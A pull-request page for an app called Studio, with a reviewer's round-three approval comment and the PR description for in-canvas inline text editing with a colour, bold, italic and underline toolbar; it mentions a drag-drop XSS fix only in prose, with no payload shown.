PressMark.elementadded;isDoublePressrequiresnext.element !== null && previous.element === next.element. Test pairs two<div>s at the same coords/time and asserts pair-yes for same element, pair-no for different. Also:useInlineTextEditing.startFromPressnow updateslastPressRefonly when no session is open — presses during a session don't poison the double-press cadence. child as HTMLElementcross-realm cast. Now grabselement.ownerDocument.defaultView?.HTMLElementand doeschild instanceof HTMLElementClass— assertion-free, cross-realm-safe.handleDomRichTextCommitelement-only gate. NewcanCommitInlineTextSelectionchecksisCompositionHost || isInsideLockedCompositionbefore the element-level gate.
Still open (non-blocking follow-ups, unchanged from R1)
- Uniform-scale assumption at
InlineTextToolbar.tsx:207/useInlineTextEditing.tsx:82— aponytail:comment or the sharedrootScaleX/rootScaleYfromdomEditOverlayGeometry.tswould harden it. Currently correct. toHexColordegrades short-hex + named colors to white. Cheap follow-up.Cmd+B/Cmd+I/Cmd+Ukeyboard shortcuts — universal expectation for an inline text editor.
What I didn't verify
- Did not re-run the 3,776 Studio tests locally; trusting Miguel's green + the fresh coverage for each closure.
- Did not construct a live PoC for the drag-drop XSS path — the R3 fix is mechanistically correct (drop event's default is what inserts HTML; preventDefault + plain-text rail closes the window) and the test asserts markup does not land.
- The
element === selection.elementcheck inownsCurrentPreviewElementis what stops commits from resolving onto a reload-replacement node. Under React batching,selectioninside the commit's closure should still point at the pre-blur value, so I don't expect this to false-positive on ordinary "click another element" flows — but I did not traceDomEditSelectionupdate ordering vs. theblur → commitsynchronous path in-app. Worth watching if anyone reports "my edit disappeared when I clicked away."
Verdict
LGTM from my side — R1 concrete sweep landed cleanly, closures are at the mechanism layer with test coverage on each one, and R3's own additions read tight. Rebase-only from here as far as I'm concerned. Not stamping (routing to whoever's on the trusted-stamper list for this repo).
What
Double-press a text element in the canvas and the caret opens where you pressed, in the element itself rather than in a panel. Select characters and a small toolbar offers colour, bold, italic and underline, applied to exactly those characters.
Why
Editing text meant finding it in a panel and retyping it there. The panel could not express styling at all.
How
The toolbar lives in Studio's document rather than the composition's. Putting it in the preview would inject Studio's chrome into the user's composition, where a render would capture it and the composition's own styling would inherit into it. It is positioned over the selection in viewport coordinates, so it does not have to know which of the canvas' nested coordinate systems it was mounted into.
In a flex or grid container the rebuilt runs go inside one wrapper, so a coloured word cannot reflow the element it sits in.
The edit session carries its original markup and exact preview-node identity across the persistence boundary, so a failed save restores the exact pre-edit preview without retargeting a replacement node after a reload. Paste and drag/drop both admit plain text only, closing the pre-commit markup-execution window. Playback, history, canvas, and storyboard shortcuts share one typing-target gate and leave contenteditable elements alone.
Test plan
This one is over the usual size budget. The editor and the toolbar cannot be separated, since the editing layer is what mounts the toolbar; about 40% of the diff is tests.